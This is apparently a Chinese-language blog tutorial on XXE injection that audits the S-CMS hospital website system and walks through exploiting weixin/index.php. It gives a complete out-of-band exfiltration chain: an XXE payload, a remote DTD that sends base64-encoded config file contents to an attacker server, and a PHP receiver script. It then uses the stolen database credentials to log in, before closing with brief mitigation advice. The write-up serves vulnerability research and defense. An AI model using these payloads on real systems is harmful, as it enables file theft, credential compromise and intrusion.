文章目录
一、什么是XXE?(一)XXE简介(二)XML声明(三)文档类型定义(DTD)(四)文档元素二、XXE漏洞复现(一)工具准备(二)代码审计寻找危险函数(三)准备工作(四)XXE漏洞复现三、XXE漏洞的防御和修复建议本文针对S-CMS医院建站系统进行代码审计,发现多处SQL注入漏洞及XXE漏洞,限于个人的精力有限,这里仅针对weixin/index.php文件中存在的XXE漏洞进行漏洞挖掘与复现,并在文末提出针对此漏洞的防御方法。
一、什么是XXE?
(一)XXE简介
XML外部实体注入(XML External Entity),简称XXE,也可以叫XML注入。对于XXE,我们可以分成三个部分来理解:XML、外部实体、注入。注入是指用户输入的指令被当做代码执行。实体是用于定义引用普通文本或特殊字符的快捷方式的变量,本质上可以理解为一个变量。XML(EXtensible Markup Language)是一种可扩展标记语言,是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
XML本身只是一个纯文本,那么是如何和注入产生联系呢?其核心在于被后端的各种脚本所调用。攻击者可以通过外部实体的调用将他自定义的值发送给服务器,当XML解析器调用该文件时,就会访问攻击者指定的资源内容(可能是系统上本地文件或远程系统上的文件),然后将访问的结果发送到指定的目标,从而实现敏感信息的获取。还可以通过XXE发起大文件的请求,进而发起拒绝服务攻击(DOS),以及入侵服务器所在的内网。
为了便于后面代码的理解,这里简单提一下XML文档的结构:
XML文档的结构包括XML声明、DTD文档类型定义(可选)、文档元素。
(二)XML声明
最简单的XML声明如下:<?xml version="1.0"?>
这段代码表明了所使用的的xml的版本是1.0。由于声明的部分不是本文所写内容的重点,我们只了解最简单的即可。
(三)文档类型定义(DTD)
文档类型定义(DTD)可以是内部声明也可以引用外部DTD。DTD的格式如下:
1、内部声明DTD格式:<!DOCTYPE 根元素 [元素声明]>
2、引用外部DTD格式:<!DOCTYPE 根元素 SYSTEM"文件名">
在DTD中进行实体声明时,将使用ENTITY关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可以可在内部或外部进行声明。
3、内部声明实体格式:<!ENTITY 实体名称 “实体的值”>
4、引用外部实体格式:<!ENTITY 实体名称 SYSTEM “URl”>
DTD简单理解为,可以通过特殊的命令去读取其他的文件。上面的SYSTEM是关键字。
(四)文档元素
XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分。有很多命名规则,我们不需要深入过多,了解即可,有需要的可以查看:
XML元素简介:/xml/xml_elements.asp
二、XXE漏洞复现
(一)工具准备
下载S-CMS医院建站系统的源代码,并借助phpstudy安装该S-CMS,可以在本机、虚拟机或者云服务器上搭建,能正常访问网站首页即可。我搭建在虚拟机上,在本机通过内网ip来访问该网站。浏览器需要安装好proxy代理插件,另外还需要下载好burpsuite(必需)、seay源代码审计工具(非必需,但可提高效率)。
(二)代码审计寻找危险函数
PHP对于XML的解析是通过simplexml_load_string()函数实现的,所以要找XXE漏洞,就要先看源代码哪里有simplexml_load_string()函数。
用Seay源代码审计系统新建一个项目,载入cms文件夹。搜索simplexml_load_string函数,如下:
还有:
其他还有几处,目前就只列举这两处了。
我们以weixin/index.php
文件为例,可以看到,源代码并没有对外部实体进行过滤,也没有检测用户输入的信息,因此可能存在XXE漏洞。我们需要先知道能不能访问这个文件,并且能不能执行文件中的代码,所以根据自己搭建的cms,找到在weixin文件夹下,找到index.php文件,输入:
die('hello world!');
然后访问:
http://192.168.181.128/weixin/index.php
(在虚拟机上搭建的要用对应的内网ip地址访问,假如是自己本机上,ip地址换成127.0.0.1)
注意到代码被simplexml_load_string
函数解析需要满足signature参数不为空,获取传参的方式为REQUEST,可见采用POST或GET传参方式给signature
随便传个参数就可以满足不为空的条件,因此可以在url后面输入?sinature=a
,发现页面输出了hello world
这表明代码能够执行到这一步,接下来就可以进行XXE的漏洞复现,如果成功了就表明这里存在XXE漏洞。
(三)准备工作
经过代码审计,找到了一个可能存在XXE的漏洞点,就是weixin文件夹里的index.php。后端PHP解析xml后,页面通常是没有回显的,所以我们需要使用类似于XSS平台一样的方法把敏感信息外带出来。我们通过XML读取数据然后发送到接收的平台,接收平台会把信息存储起来,我们再去接收平台查看就可以了。
首先在服务器的网站根目录下新建一个XXE文件夹,新建三个文件,分别为1.xml,2.php,3.txt。
首先配置好代码:
<?xml version="1.0"?><!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpstudy/www/conn/conn.php"> <!ENTITY % remote SYSTEM "http://**.**.**.**/XXE/1.xml"> %remote; %send; ]>
这段代码的作用是:
第一行声明xml使用的协议版本号(非必需)
第二行定义了一个ANY,简单理解为函数就可以,注意中括号,所以后面的代码都是在这个实体里面的,也可以把它看作一个函数,后面都是它的代码块。
ANY里面定义了两个实体,可以简单理解为ANY函数里的变量。file会使用php伪协议执行读取指定路径下的文件,并进行一次base64编码,进行编码是为了加密和方便传输。
remote是调用指定路径的1.xml文件。(我把自己的ip地址隐藏了,实际的路径是需要ip地址的,也可以是能外网访问的域名,但是1.xml必须存在)
最后两行的含义是调用remote和send。注意send是在1.xml里面定义的,所以攻击代码并没有这个。
接着设置好1.xml的内容:
<!ENTITY % all"<!ENTITY % send SYSTEM 'http://**.**.**.**/XXE/2.php?id=%file;'>" >%all;
这里定义了一个%all,并在里面定义了一个%send 。%这个是对%进行了一次HTML实体编码。这个xml文件的作用是向指定目录的2.php文件传递了一个GET传参,参数是id,值是%file, %file在上边已经定义,执行读取文件后加密文件内容的作用并返回加密的结果。
接下来在2.php文件里输入:
<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>
这个文件的作用是将接收到的文件内容写入到3.txt中。
(四)XXE漏洞复现
所有的准备工作都做好后,漏洞复现的操作反而是很简单的了。接下来访问目标文件:
http://192.168.181.128/weixin/index.php
考虑到需要使signature不为空,因此可以考虑直接在URL中进行GET传参,也可以抓包后再传参。这里就直接在URL中传参了,然后抓包,在末尾空一行输入攻击代码:
为了便于失败时能方便调整代码而不需要重新抓包,将数据包先发送到repeater模块,然后到该模块点击GO选项。接着去查看3.txt,发现文件大小从0KB变成了1KB,可见接收到了内容。
将3.txt的文件内容复制到burp的decoder模块,然后解码选择base64,得到:
因此数据库账号密码和库名均为root。
有了数据库的信息,接下来可以尝试登陆数据库。在自己搭建的cms中找到控制数据库登陆的后端文件,经过查找发现就在admin文件夹下的dbm.php文件中。在URL中访问改文件,输入相应的信息即可登陆数据库。
数据库登陆成功!
至此,漏洞的复现和利用过程结束。
三、XXE漏洞的防御和修复建议
知道了漏洞是如何被利用的,我们就可以针对该漏洞采取相应的措施来防御和修复了,可采用以下两个方法:
1、禁用外部实体,例如libxml_disable_entity_loader(true)
2、过滤用户提交的XML数据,防止出现非法内容,比如SYSTEM关键字。